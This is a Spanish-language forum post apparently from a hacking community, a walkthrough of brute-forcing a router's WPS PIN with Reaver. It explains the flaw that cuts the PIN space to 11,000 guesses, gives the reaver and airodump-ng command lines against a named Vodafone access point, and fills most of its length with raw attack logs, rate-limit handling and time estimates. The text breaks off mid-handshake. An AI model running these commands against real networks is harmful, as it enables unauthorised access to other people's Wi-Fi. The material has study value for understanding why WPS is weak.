Atacando por fuerza bruta contra Wi-Fi Protected Setup (WPS)

Iniciado por rand0m, Agosto 08, 2015, 07:58:19 AM

Tema anterior - Siguiente tema

0 Miembros y 2 Visitantes están viendo este tema.

Agosto 08, 2015, 07:58:19 AM Ultima modificación: Agosto 09, 2015, 10:50:35 PM por Expermicid
WPS (Wi-Fi Protected Setup) es un método de seguridad para las redes WiFi que dispone de 3 variantes:

       
  • PBC (Push-Button-Connect): El usuario tiene que pulsar un botón (Físico o virtual) en el AP y en el dispositivo cliente. Estará activo hasta que la autenticación tenga éxito o caiga el timeout de 2 minutos.
  • Internal Registrar: El usuario debe introducir el PIN en una interfaz web del AP. Puede estar escrito en la etiqueta del adaptador o generado por software.
  • External Registrar: El usuario debe escribir el PIN del AP en el dispositivo que se quiera conectar.
El PBC nos exige contacto físico con el AP, por lo que no me sirve.

El Internal Registrar exige acceder al panel web del AP, por lo que tampoco me sirve.

Lo que haré será probar todos los códigos PIN posibles desde mi equipo usando el método External Registrar.

Para entender cómo funciona el proceso leemos el paper de No tienes permitido ver los links. Registrarse o Entrar a mi cuenta: No tienes permitido ver los links. Registrarse o Entrar a mi cuenta (LECTURA OBLIGATORIA RECOMENDADA). Otra lectura muy interesante para entender el mecanismo de WPS es la explicación que dan en el No tienes permitido ver los links. Registrarse o Entrar a mi cuenta.

En el paper, que sólo son 9 páginas con muchísimas tablas (No tienes permitido ver los links. Registrarse o Entrar a mi cuenta), se puede ver que el PIN en realidad no es un PIN de 8 dígitos, sino que consta de 2 partes:

       
  • Primera parte del PIN (4 primeros dígitos)
  • Segunda parte del PIN (3 siguientes dígitos + suma de verificación (Checksum))
Esta mala implementación hace que en vez de enfrentarnos a un PIN de 8 dígitos nos enfrentamos a uno de 4 y uno de 3. Todo ésto es muy importante ya que desmonta completamente las matemáticas del sistema de seguridad. Hagamos los números:

Si contamos con un sistema de 10 dígitos (0-9) las diferentes posibilidades se elevan exponencialmente al número de dígitos. Ésto nos pone, en caso de tener un PIN de 8 dígitos, en:
10·(107) = 100000000 posibilidades
Haría falta tanto tiempo para conseguir el PIN que el ataque podría tardar varios años. Inviable.
Pero si tenemos un PIN de 4 dígitos y otro de 3 la cosa cambia mucho:
10·(103) = 10000 posibilidades
10·(102) = 1000 posibilidades
En total suman 11000 PIN diferentes. Hemos descartado 99989000 PIN de un plumazo. Glorioso.
Basándose en esto No tienes permitido ver los links. Registrarse o Entrar a mi cuentaescribió Reaver. Una herramienta que realiza ataques de fuerza bruta contra WPS siguiendo este método.
La herramienta, una vez en manos de la comunidad, fue creciendo y desarrollándose, encontrándose ahora en su No tienes permitido ver los links. Registrarse o Entrar a mi cuenta para incluir funciones útiles para los ataques PixieDust.

Sin embargo, a pesar de ser un sistema tan sencillo, muchas veces nos encontramos con problemas a la hora de obtener el PIN de un AP remoto.
¿Por qué?

Para ilustrar esto estoy jugando con un WPS Broadcom 123456 de un router Vodafone. Lanzamos Reaver y nos encontramos con lo siguiente:

root@No tienes permitido ver los links. Registrarse o Entrar a mi cuenta:~/wifis/ch11# reaver -i wlan1mon -b D8:61:FF:FF:FF:FF -vv --session=/dev/null

El parémtro --session=/dev/null sirve para que reaver no guarde la sesión. No estoy intentando obtener la contraseña, sino estudiar el proceso de crackeado.

Código: php
[+] Trying pin 12345670.
[+] Sending EAPOL START request
[+] Received identity request
[+] Sending identity response
[!] WARNING: Receive timeout occurred
[+] Sending WSC NACK
[!] WPS transaction failed (code: 0x02), re-trying last pin

Como bien nos indica el [!] WARNING: Receive timeout occurred se ha producido un timeout al recibir respuesta. Ésto se debe a que estos ataques requieren buena capacidad de comunicación entre el AP y nuestro adaptador.
Código: php
root@kali:~/wifis/ch11# airodump-ng --channel 11 --wps wlan1mon

CH 11 ][ Elapsed: 9 mins ][ 2015-08-04 00:00

BSSID              PWR RXQ  Beacons    #Data, #/s  CH  MB   ENC  CIPHER AUTH ESSID

D8:61:FF:FF:FF:FF  -71  89     4178      257    0  11  54e  WPA  CCMP   PSK  VodafoneFFFF

Con una señal de -71dBm vamos mal. Para este tipo de ataques lo recomendable es tener al menos -65dBm, pero aquí estamos buscando problemas a los que enfrentarnos.

Los errores 0x02 siguen repitiéndose y, tras el mismo mensaje repetido 21 veces, empezamos a ver que algo sucede.
Código: php
[+] Trying pin 12345670.
[+] Sending EAPOL START request
[+] Received identity request
[+] Sending identity response
[P] E-Nonce: 18:96:63:aa:3c:e5:90:34:4f:39:3a:89:ef:78:e2:83
[P] PKE: b0:75:bb:83:fe:03:79:78:ff:a1:09:23:75:b1:86:f9:4f:e4:35:99:9d:c7:5d:97:b6:9d:e7:13:d7:ad:2b:51:5e:08:76:50:fc:95:43:37:86:de:e7:0f:ff:54:84:b3:e3:ee:62:11:87:31:1e:f5:75:48:e9:e5:ac:5c:c0:c0:b6:f3:dc:e2:e9:33:da:ad:73:67:7a:1e:d6:5d:3a:b1:95:d0:0e:27:f9:2c:48:9f:a0:57:4d:36:a4:40:ee:2c:37:35:17:b1:c3:f9:e9:99:92:a7:10:d6:14:79:c6:ca:a3:ee:47:69:ec:18:f1:ad:69:d2:ea:5c:5d:aa:0c:0c:46:c2:89:dc:16:a2:c7:8d:ec:64:34:60:f5:f8:5a:c2:2a:63:2f:b2:1c:8a:47:03:35:cb:95:c6:bd:db:c4:21:38:73:2f:3d:6c:93:1a:0e:ca:c1:7e:30:a5:44:5c:dd:6d:6e:1d:d7:76:e6:2e:ec:7a:1c:57:c2:d7:5c:e4:c4
[P] WPS Manufacturer: Broadcom
[P] WPS Model Name: Broadcom
[P] WPS Model Number: 123456
[P] Access Point Serial Number: 1234
[+] Received M1 message
[P] R-Nonce: e1:6e:4b:62:5f:40:ed:9e:ac:ca:eb:98:f9:0b:b9:a3
[P] PKR: 33:26:70:28:8c:86:6b:dc:4b:7f:ef:f2:27:2d:c4:77:17:3a:60:57:61:e1:a5:9c:5c:14:17:77:1a:98:1d:8a:49:d7:17:fc:c0:a3:78:13:14:0d:ce:55:a1:8c:cf:58:c1:56:83:d5:f6:26:d8:0f:91:14:bc:74:a7:26:18:d3:1e:df:ae:f4:40:1d:7a:c2:21:3b:c8:e1:72:c7:d4:d2:a7:ec:95:ab:6c:e1:96:19:be:2e:95:8d:0c:a3:1a:12:8d:db:40:63:e9:2f:9e:80:1f:de:f1:72:d0:83:d1:10:9a:90:d1:0a:28:d6:3c:e8:32:5d:63:df:0f:68:59:92:50:f7:20:d3:59:94:85:24:50:58:ac:48:2e:ba:8f:73:25:6e:65:81:1b:7e:8a:e7:7f:8e:6a:bb:b7:96:f2:37:63:2f:58:c4:79:52:ab:21:11:f5:6a:e8:a1:08:78:15:b4:69:d6:da:87:57:11:aa:89:7f:4b:18:cf:fa:94:ab
[P] AuthKey: e5:23:f4:22:a1:3c:e6:a6:1a:24:2c:52:3f:83:a7:67:93:aa:d1:10:8f:9f:4a:70:08:56:4d:8c:6e:24:69:ac
[+] Sending M2 message
[P] E-Hash1: 23:83:fe:2d:c9:e3:09:6a:75:b1:4a:99:cb:5d:b6:2b:c5:fe:59:f2:38:18:a4:3c:ca:ab:80:8e:a8:29:60:32
[P] E-Hash2: e7:67:59:bd:3a:cc:81:88:6e:02:ab:26:c2:a4:8a:70:66:ea:e6:25:08:39:91:e4:21:c3:93:ba:4e:65:17:7b
[+] Received M3 message
[+] Sending M4 message
[+] Received WSC NACK
[+] Sending WSC NACK
[+] p1_index set to 1
[+] Pin count advanced: 1. Max pin attempts: 11000

Ahí podemos ver que tras Sending identity response recibimos una respuesta que se descompone con el prefijo [P] para destacar que es información útil para un ataque PixieDust (No lo utilizaremos).
Además vemos el aviso de que hemos recibido el mensaje M3, al que respondemos enviándole M4.
Como el AP nos devolvió un NACK sabemos que la primera mitad del PIN era incorrecta, así que incrementa el índice de p1 y repite el ciclo una y otra vez. Todo va rodado, hasta que de repente todo se detiene y parece que algo va mal. En la pantalla pone WARNING con mayúsculas y eso no suele ser bueno.
Código: php
[+] Trying pin 77775672.
[+] Sending EAPOL START request
[+] Received identity request
[+] Sending identity response
[P] E-Nonce: e4:21:e0:66:39:e2:a0:cf:0a:1f:79:1d:71:1a:7e:9a
[P] PKE: 14:b2:f7:47:be:97:7e:f3:5a:9a:50:28:42:f0:54:49:b1:e5:4f:ad:57:36:8b:f6:ab:52:ad:82:57:65:75:eb:ec:58:ac:1a:0c:17:e5:d6:e0:4a:1a:53:55:9e:f4:d1:db:64:31:09:56:05:8b:fb:c6:0a:26:2f:3d:b0:14:09:8e:22:09:2d:dc:2d:4e:d4:8d:7c:59:d0:1d:63:43:41:cc:49:8d:a2:45:31:c4:d9:f8:53:93:a5:30:a0:45:f8:41:db:01:54:d7:29:1e:09:e1:d9:b2:b4:bb:8a:32:8c:da:1e:ac:7a:de:bd:68:c4:55:b5:8f:b2:5c:c4:3c:5e:fe:a4:20:ef:ad:5b:93:7d:96:91:15:44:f9:48:8b:a0:df:fc:ed:16:8b:88:83:d4:4f:80:66:4f:6f:d1:72:a9:ab:f0:54:93:4e:e6:96:c7:52:64:2f:f7:f7:89:9a:70:63:50:1e:c0:f4:70:4d:ad:53:bb:c3:07:a5:6f:1c:bd
[P] WPS Manufacturer: Broadcom
[P] WPS Model Name: Broadcom
[P] WPS Model Number: 123456
[P] Access Point Serial Number: 1234
[+] Received M1 message
[P] R-Nonce: 42:2b:92:95:a9:f4:47:1e:ca:64:62:09:07:3d:4a:36
[P] PKR: a2:cf:a5:5f:44:c6:18:0f:e6:18:ae:7c:66:ac:07:6c:47:3e:20:5d:67:77:ab:8d:8e:01:19:ad:8b:76:43:93:b2:ce:94:e4:84:00:b7:59:04:a6:52:4e:72:16:21:97:1e:a8:c3:aa:32:71:e1:70:b9:b0:02:0d:82:15:54:38:2b:aa:8c:e6:09:eb:8a:0e:e3:cb:08:ec:e8:ee:b2:43:ea:3b:01:2b:a4:c6:a7:01:e4:c2:da:4a:98:07:05:37:9a:0c:6f:5d:8f:1b:8f:91:2d:ae:6d:03:24:15:8e:a9:75:23:73:6a:6a:fe:a7:e8:62:f0:a6:e5:83:0e:36:ee:10:a6:8c:81:f4:1e:04:58:5e:79:d2:ea:41:7c:6c:58:92:29:4c:73:0c:24:e5:33:1d:9c:c5:c2:59:f8:e2:de:9b:0e:40:5c:55:83:e0:9f:39:c6:30:5c:27:c1:05:54:f4:d3:c3:68:68:37:95:bb:48:b8:78:1d:6f:3d:fa:f1
[P] AuthKey: b6:ac:f2:2b:3f:d7:5f:bb:be:81:2d:47:fc:f9:de:d7:f6:ad:86:09:b9:75:fb:c0:d8:54:3a:b5:26:a4:8d:40
[+] Sending M2 message
[P] E-Hash1: 7b:c0:d2:6e:7a:08:3d:22:41:8b:19:14:be:87:50:9a:50:41:03:1a:de:a6:6d:46:4c:81:b5:1a:63:38:f4:f0
[P] E-Hash2: 20:58:7c:d0:2c:2f:52:f7:67:19:4a:37:43:48:b3:7d:85:ac:30:d4:c9:21:f8:d7:13:31:17:59:57:65:22:01
[+] Received M3 message
[+] Sending M4 message
[+] Received WSC NACK
[+] Sending WSC NACK
[+] p1_index set to 10
[+] Pin count advanced: 10. Max pin attempts: 11000
[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking
[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking
[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking
[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking
[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking
[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking
[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking
[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking
[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking
[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking

¡OH, NO! ¡¿QUÉ PASA?!
Tras ver cómo se repite el mensaje de [!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking un total de 10 veces todo vuelve a fluir con normalidad.
Código: php
[+] Trying pin 88885674.
[+] Sending EAPOL START request
[+] Received identity request
[+] Sending identity response
[P] E-Nonce: cd:10:b9:11:11:67:dd:de:20:84:72:e7:48:c8:4d:45
[P] PKE: 68:25:d0:78:e4:9f:92:31:df:91:8c:df:3e:f7:f7:e8:c8:57:a9:c0:85:2b:eb:17:1b:cd:90:44:e2:81:a0:b4:83:ff:6b:b1:c7:51:83:3f:59:c4:7c:89:d9:9b:00:01:7e:ee:8f:c7:71:61:3e:66:92:96:1a:4f:7b:99:a4:a5:88:6d:df:75:b9:b3:e1:73:2f:e7:64:af:a9:d7:77:24:60:f1:c8:94:62:14:5f:a1:3e:b0:7f:9d:3e:df:82:45:86:50:7a:b1:04:5d:dc:67:84:c7:07:d3:74:99:41:25:5e:ad:28:da:64:6f:81:58:6f:13:8b:5a:c2:db:80:00:cd:e2:fb:65:ee:f5:b2:17:6e:b7:0e:96:9e:ff:93:2c:29:92:68:03:c7:d1:aa:83:f3:04:95:00:48:fc:0f:d2:f1:26:b3:65:71:19:07:f1:c8:52:16:78:10:0f:ec:b0:9d:e8:de:d4:f6:b3:39:18:32:f0:96:35:53:f8:81:1b
[P] WPS Manufacturer: Broadcom
[P] WPS Model Name: Broadcom
[P] WPS Model Number: 123456
[P] Access Point Serial Number: 1234
[+] Received M1 message
[P] R-Nonce: 02:96:96:ab:b0:82:0e:77:b6:cb:ff:79:c5:68:22:83
[P] PKR: 89:c2:b2:07:6b:b2:a7:07:9e:fb:f3:2d:ba:9f:6f:17:09:69:e3:01:ea:4a:3c:a7:6d:11:1a:eb:5a:7f:b7:7d:b8:fc:05:c1:04:e8:0f:06:b0:15:85:05:d1:ce:22:4f:5a:88:78:9e:26:58:c9:50:98:e6:d2:1b:b0:46:9b:f4:57:cf:9f:62:66:8f:aa:be:58:58:d8:eb:28:05:b1:4a:ff:1f:c2:39:aa:6b:d4:a2:a6:c8:56:00:70:42:ee:c0:94:fc:b1:5f:2a:62:72:86:64:d3:30:30:c0:83:8e:e1:1f:e0:e1:ab:6c:e3:13:e0:68:6c:0d:c1:2e:8d:81:e5:c0:25:17:cf:08:7c:41:3a:ca:1e:61:22:82:79:2f:db:0d:ec:2b:94:1c:ba:99:eb:af:ad:e4:5d:53:17:46:8d:a7:43:81:1b:5d:d6:5d:7c:48:e9:d2:53:15:47:90:17:4a:5c:45:76:8f:2d:08:3e:8b:ef:24:ac:06:77:f8:8e
[P] AuthKey: 16:2c:1a:6f:5a:ff:c4:c3:7c:e3:92:69:2a:3e:51:a7:6e:4c:9e:bd:a0:c6:9e:79:00:e6:26:2b:43:0a:92:70
[+] Sending M2 message
[P] E-Hash1: 55:ae:77:7f:5d:aa:29:79:3d:67:54:e9:47:ff:d2:79:47:2d:2a:1a:0a:55:9a:e2:e6:6c:54:d1:62:50:d6:44
[P] E-Hash2: 39:6a:70:15:79:65:6c:95:0b:04:07:4a:f2:3c:79:fc:11:df:87:fe:58:08:75:41:53:be:1a:60:73:bd:51:4b
[+] Received M3 message
[+] Sending M4 message
[+] Received WSC NACK
[+] Sending WSC NACK
[+] p1_index set to 11
[+] Pin count advanced: 11. Max pin attempts: 11000

El contador se incrementa a 11 y todo sigue normalmente, hasta que el pánico vuelve.
Código: php
[+] Pin count advanced: 19. Max pin attempts: 11000
[+] Trying pin 00085670.
[+] Sending EAPOL START request
[+] Received identity request
[+] Sending identity response
[P] E-Nonce: 6d:70:61:22:83:c2:57:dd:25:ff:c0:41:24:55:6f:8d
[P] PKE: 31:b6:85:04:5b:5e:ff:69:fc:42:59:30:cb:2c:5a:fd:71:04:90:84:69:a7:21:ce:ca:5e:fe:fb:48:b5:f1:76:13:b3:af:b2:66:0a:09:2d:08:20:a2:41:a2:d4:1f:e4:eb:d3:b4:a0:ce:23:36:0b:15:b3:63:80:c0:50:e0:41:23:38:3b:0e:2f:4d:96:44:2c:4a:37:6f:5a:fe:46:76:a5:d3:6b:c1:06:34:d0:20:9e:bd:ae:64:a3:bd:85:2d:f6:2d:d8:22:5f:fc:fb:0d:6d:d5:bf:c5:02:9f:13:1a:0c:82:be:0f:64:a3:fb:f7:ca:4d:71:42:93:48:6a:d0:c0:92:24:25:b7:23:50:c3:e3:fb:3e:74:3f:b9:3e:74:80:19:9b:b6:a2:34:44:16:85:e1:ca:75:78:96:5d:65:e7:b9:4c:39:3a:fe:12:df:a0:be:bb:67:b0:d1:11:a9:1c:3f:90:7a:33:c8:1b:b8:2a:4a:c5:ea:8b:fd:fe:19
[P] WPS Manufacturer: Broadcom
[P] WPS Model Name: Broadcom
[P] WPS Model Number: 123456
[P] Access Point Serial Number: 1234
[+] Received M1 message
[P] R-Nonce: 14:ad:38:42:02:f3:16:44:d0:98:b4:de:df:4e:ca:09
[P] PKR: 78:54:e6:55:4c:23:bb:06:ee:ef:15:be:3c:da:1e:55:2e:2c:b2:54:94:66:c9:f6:77:9a:0b:a6:25:a6:31:ca:d9:f7:70:14:ea:3a:f8:37:4a:59:80:a7:39:2e:43:2a:14:21:a8:ab:a8:31:43:29:e0:e2:aa:82:65:a7:97:41:e8:70:35:c9:e2:b8:cd:24:31:9b:67:17:3c:ad:e7:4a:aa:7b:13:97:5f:59:22:e0:5d:6a:ee:1f:64:30:c9:a3:de:da:f2:a4:5d:c5:27:82:4a:5e:90:65:36:ec:2d:c7:27:ee:04:6f:12:95:73:eb:47:8c:56:cd:7b:70:a3:6b:89:b7:d4:aa:15:05:39:d6:a6:83:00:03:62:14:2b:3f:dc:dd:5b:f9:f2:a9:a7:17:7d:97:12:9a:27:ba:0a:58:9d:a8:80:65:65:ac:e6:03:a3:60:c6:f5:8c:25:08:b3:63:64:43:8f:51:16:ca:78:4f:4f:ed:9f:99:e5:f7:ee
[P] AuthKey: b4:a4:ee:d0:cc:cd:c2:68:6d:7a:1f:52:17:69:7e:54:88:e9:b5:7e:49:84:d3:6e:ab:73:8a:d0:8d:b0:e9:fc
[+] Sending M2 message
[P] E-Hash1: cb:cb:1f:89:36:87:51:99:75:42:f3:87:6b:55:ce:3b:ca:16:25:cc:ab:41:ba:f5:19:cd:ba:95:d1:d3:23:5a
[P] E-Hash2: 0e:9d:5b:6f:98:51:ec:e3:58:17:90:99:03:cf:70:09:31:ea:ff:e2:c0:3c:b7:40:2d:15:99:8a:a6:6a:b0:4c
[+] Received M3 message
[+] Sending M4 message
[+] Received WSC NACK
[+] Sending WSC NACK
[+] p1_index set to 20
[+] Pin count advanced: 20. Max pin attempts: 11000
[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking
[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking
[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking
[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking
[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking
[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking
[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking
[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking
[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking
[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking

Bien, visto estos resultados, con media neurona podemos darnos cuenta de que el AP nos bloquea por cada 10 PIN que probamos.
Citar¿Significa eso que el ataque no funcionará?
No. Significa que por cada 10 PIN que probamos el AP nos bloquea 10 minutos, dándonos un ratio de 1 PIN por minuto. Por lo tanto el ataque podría tardar, como máximo (Aunque sin contar las veces que un PIN no se pruebe correctamente), 11000 minutos.

11000 minutos /(60*24) = 7,6388888888888888888888888888889 días

7,6388888888888888888888888888889 = 7 días
0,6388888888888888888888888888889 días *24 = 15,333333333333333333333333333334 horas
0,333333333333333333333333333334 horas *60 =  20 minutos
Tiempo total del ataque: 7 días, 15 horas y 20 minutos
Tras 4 horas (259 minutos exactamente) de ataque podemos echar un vistazo a cómo está funcionando el ataque:
Código: php
[+] Pin count advanced: 242. Max pin attempts: 11000
[+] 2.20% complete. Elapsed time: 0d4h19m20s.
[+] Estimated Remaining time: 1d5h53m0s

Las pruebas con PIN iban de 10 en 10, por lo que entendemos que en 250 minutos debería haber probado 250 PIN diferentes. Se han perdido 8 minutos en errores 0x02 por estar demasiado lejos del AP.
Quiero aprovechar que no hace falta un equipo potente para llevar a cabo este tipo de ataques. Todo esto lo estoy haciendo desde un portátil muy viejo con serios problemas con la termodinámica. Pentium M a 1.70GHz con 1GB de RAM.

A las 16 horas todavía no hemos tenido resultados. Si hacemos números ahora 16 horas son 960 minutos, más los 20 que lleva de la 16ª hora hacen 980, minutos, que deberían ser 980 contraseñas probadas (10 cada 10 minutos). El ataque lleva 64 contraseñas de menos. Hemos derrochado una hora de valiosísimo tiempo.
Código: php
[+] Pin count advanced: 916. Max pin attempts: 11000
[+] 8.33% complete. Elapsed time: 0d16h20m53s.
[+] Estimated Remaining time: 0d14h0m20s

Bajo determinadas circunstancias la intensidad de la señal cae, llevándonos a errores 0x02 y a hops entre canales buscando la red con la que estábamos trabajando. ¿Os imagináis que reconfigurasen el canal del router mientras atacamos? Así lo pescamos de nuevo. Aunque este hopping es desactivable.
Código: php
[+] Trying pin 15225672.
[+] Switching wlan1mon to channel 13
[+] Switching wlan1mon to channel 14
[+] Switching wlan1mon to channel 1
[+] Switching wlan1mon to channel 2
[+] Switching wlan1mon to channel 3
[+] Switching wlan1mon to channel 4
[+] Switching wlan1mon to channel 5
[+] Switching wlan1mon to channel 6
[+] Switching wlan1mon to channel 7
[+] Switching wlan1mon to channel 8
[+] Switching wlan1mon to channel 9
[+] Switching wlan1mon to channel 10
[+] Switching wlan1mon to channel 11
[+] Sending EAPOL START request
[+] Received identity request
[+] Sending identity response
[P] E-Nonce: 39:55:8a:ca:1b:44:9a:77:0f:30:b9:e2:c5:fe:dd:22
[P] PKE: 7c:0d:36:ea:d1:d1:fb:e4:26:55:de:24:76:9e:28:02:19:95:1e:db:22:e9:3e:0d:c4:92:00:94:f3:f3:18:66:c7:4f:5a:9f:a2:fa:f4:42:9d:75:e7:ac:16:53:5a:7b:7e:b6:ce:4b:e0:b0:7f:1e:88:99:ba:71:3e:6a:fa:e2:87:3a:03:9e:a4:c7:04:4f:cb:5b:5c:12:d5:4d:30:d9:08:80:e4:f0:36:7a:79:f4:8a:91:dd:ff:82:31:16:ea:5d:46:f7:39:63:f4:bf:f4:af:50:fb:5c:43:07:82:24:f5:6d:03:38:0f:a9:a0:7a:4f:49:36:00:0b:01:bd:97:d9:26:75:25:89:b7:1d:7c:a7:fd:c9:3b:ee:12:0d:04:04:bb:fc:53:ec:85:6e:67:ab:00:4a:4c:71:a0:c4:30:2d:7d:9c:94:5d:cd:87:43:43:ab:d8:40:0e:d7:19:21:c2:8e:81:e8:55:83:bb:f4:63:73:5e:2e:74:83:12:75
[P] WPS Manufacturer: Broadcom
[P] WPS Model Name: Broadcom
[P] WPS Model Number: 123456
[P] Access Point Serial Number: 1234
[+] Received M1 message
[P] R-Nonce: 5c:c8:8d:28:ab:49:aa:db:1a:2a:b8:4c:84:45:b7:60
[P] PKR: 00:9f:c5:1b:03:2f:91:dc:41:1d:a5:29:ad:40:0b:9a:8c:14:23:a4:b9:c1:a4:a9:07:bf:c7:76:cf:6d:f6:01:0b:d0:57:76:73:08:b1:58:e7:83:fb:15:6c:32:17:82:25:4d:af:0a:a1:7d:84:46:51:f3:cc:6e:e3:62:16:a7:17:96:bd:86:68:9c:82:01:b4:07:03:98:e3:ce:40:28:2c:1f:77:d0:63:56:54:2a:1c:0c:40:40:be:be:a5:1d:15:23:34:c5:79:fa:54:23:9f:30:e8:99:c1:a2:c6:58:ce:66:86:24:bd:c9:33:ac:7f:7a:6a:54:1b:76:e5:62:35:52:f7:3d:21:ac:aa:e0:ff:3b:c4:73:3e:63:14:ad:c1:d5:bd:f2:26:5f:eb:9e:a0:11:11:bc:14:3c:09:eb:fd:96:50:9b:3b:a9:78:9c:f4:90:25:f2:75:7a:10:b4:ee:8c:16:bc:21:3c:28:82:cf:71:f4:72:ce:fc:77:5d
[P] AuthKey: d2:f3:66:5f:e0:5e:aa:be:21:8a:99:d1:aa:f1:af:3a:83:43:07:20:36:83:ae:93:1b:d1:31:3e:82:72:b6:0e
[+] Sending M2 message
[P] E-Hash1: 75:1b:89:c8:7b:1d:4c:51:8c:c9:67:ce:1a:c3:e8:0b:3c:42:53:e2:54:a3:f9:3f:2e:d7:10:03:59:9c:bf:0c
[P] E-Hash2: 76:19:2a:97:a0:25:df:25:38:04:02:a7:1f:64:1e:b7:cb:a8:59:20:82:17:94:b6:0a:7e:7a:ad:d1:c4:0f:98
[+] Received M3 message
[+] Sending M4 message
[+] Received WSC NACK
[+] Sending WSC NACK
[+] p1_index set to 1531
[+] Pin count advanced: 1531. Max pin attempts: 11000

Llevamos 2 días MALGASTADOS y la cosa va al 25%.
Código: php
[+] Pin count advanced: 2750. Max pin attempts: 11000
[+] 25.00% complete. Elapsed time: 2d2h11m56s.
[+] Estimated Remaining time: 0d9h10m0s

En mi caso el mensaje me indica los siguientes valores:

Código: php
    ** Lleva probados 2750 PIN diferentes de un total de 11000  ---> [+] Pin count advanced: 2750. Max pin attempts: 11000
    ** Tardó 2d2h11m56s en llegar al 25%   ------------------------> [+] 25.00% complete. Elapsed time: 2d2h11m56s.


Y con esos valores podemos hacer las cuentas:

Código: php
    1 PIN por minuto * 3011 minutos malgastados                 = Deberían haberse probado 3011 PIN
    (3011 PIN al 100% - 2750 PIN probados)/1 PIN por minuto     = 261 minutos perdidos. 4,35 horas
    2750 PIN probados/(11000 PIN TOTALES/100)                   = Ataque al 25% (Como bien indica el propio mensaje)
    (11000 PIN TOTALES - 2750 PIN probados)/1 PIN por minuto    = ETA: 8250 minutos = 137,5 horas = 5,72 días


Obtenemos los siguientes valores:

    ** Rendimiento al 100%  = 3011 PIN
    ** Minutos perdidos     = 261 minutos = 4,35 horas = 0,18125 días
    ** Actual porcentaje    = 25% (2750 PIN)
    ** Tiempo estimado fin  = 8250 minutos = 137,5 horas = 5,72 días
Quedan 5 días, 17 horas, 16 minutos
Citar¿Vamos a tener que esperar una semana entera a que el ataque termine?
NO, aunque podría ser.
Unas veces podríamos tardar 5 días, otras veces 2, a lo mejor cuestión de horas. Lo que estamos calculando es el tiempo en el que se habrían probado los 11000 posibles PIN uno por uno, pero esperemos no tener que utilizarlos todos.

Al revisar el terminal en el que está corriendo reaver me encuentro con esta sorpresa:
Código: php
[+] p2_index set to 89
[+] Pin count advanced: 10089. Max pin attempts: 11000
[+] 91.72% complete. Elapsed time: 2d9h33m36s.
[+] Estimated Remaining time: 0d1h0m44s
[+] Trying pin 31340809.
[+] Sending EAPOL START request
[+] Received identity request
[+] Sending identity response
[P] E-Nonce: 40:80:f2:4a:8f:40:76:03:33:46:8e:0a:c1:6c:b0:66
[P] PKE: aa:f9:7a:af:85:6c:f8:35:76:e5:56:a3:78:a9:24:95:42:b2:ca:e7:b3:7e:4d:fa:8d:de:04:57:7c:06:1b:cf:86:c2:10:01:0f:b3:ef:4f:89:da:70:67:5b:07:36:97:d4:48:96:94:43:9e:27:37:7f:aa:b3:57:b2:29:e2:eb:ae:35:44:d9:9f:b0:37:20:2c:1b:42:fe:b0:14:87:b8:6b:87:c7:98:ba:37:c4:39:51:67:2a:ba:5a:77:65:36:38:65:c1:33:b9:6b:0f:93:5f:48:33:b9:bc:e9:af:bc:48:03:8f:dc:b5:0d:72:e2:b5:e4:d4:4a:08:75:fe:fa:a1:e0:9e:97:1c:30:31:5f:ca:6f:0f:25:7e:f5:23:e9:4a:82:ab:b4:13:05:01:1c:81:1c:3e:b9:92:7f:9e:ec:7b:f7:3b:fa:aa:9f:84:ec:db:89:0a:41:04:da:9d:bb:6c:f2:2f:83:89:4b:56:b8:8b:fd:e1:95:bb:47:a2:49
[P] WPS Manufacturer: Broadcom
[P] WPS Model Name: Broadcom
[P] WPS Model Number: 123456
[P] Access Point Serial Number: 1234
[+] Received M1 message
[P] R-Nonce: 48:4e:59:89:64:10:f8:4b:cb:c4:83:b0:2a:66:73:fc
[P] PKR: 5f:70:36:8d:33:90:29:fd:00:bb:df:e9:75:8a:77:8a:62:77:c0:c9:77:cd:f8:6a:96:9f:72:69:d1:12:5b:ef:29:91:35:bb:ac:64:c2:76:e3:29:9c:5e:e2:ad:77:86:0a:24:09:17:48:05:88:01:51:09:04:0c:97:34:a7:55:ab:12:25:24:0e:30:dd:4c:61:31:e3:bb:a7:3b:34:dc:1e:31:90:d4:24:a0:86:35:6b:07:33:9e:b3:69:e0:a4:64:a7:be:ca:63:3b:fe:79:1c:46:21:72:7c:57:64:05:c2:d7:b8:01:49:db:0c:28:82:48:e7:f7:1f:6b:bf:91:c5:46:00:5a:1c:c6:63:bc:1c:94:2e:c6:ff:23:7b:5f:75:8b:c0:77:b9:ce:18:d4:3a:a5:b2:65:bb:82:2b:fc:2e:a3:af:95:d9:70:bf:b3:a7:b0:0d:30:5c:fb:55:50:f1:0d:e7:01:68:f9:ed:ea:7f:2d:6e:f4:d7:05:19:d8
[P] AuthKey: 73:df:f7:46:a2:17:d0:25:2c:8c:d4:06:78:91:67:56:14:74:af:84:6a:d6:b7:11:aa:0c:69:08:1a:bb:23:5d
[+] Sending M2 message
[P] E-Hash1: 9e:e8:b0:ce:d9:9a:c0:0e:24:2a:8c:87:ce:2b:bc:e8:7c:1a:8a:ff:e5:83:bd:fa:51:5a:13:c9:b1:0c:0d:e9
[P] E-Hash2: f4:12:fa:7b:3a:6c:dc:c6:79:17:78:a3:fd:e1:ce:6e:be:57:72:78:ae:6d:0c:eb:43:aa:37:b6:4a:84:c9:8e
[+] Received M3 message
[+] Sending M4 message
[+] Received M5 message
[+] Sending M6 message
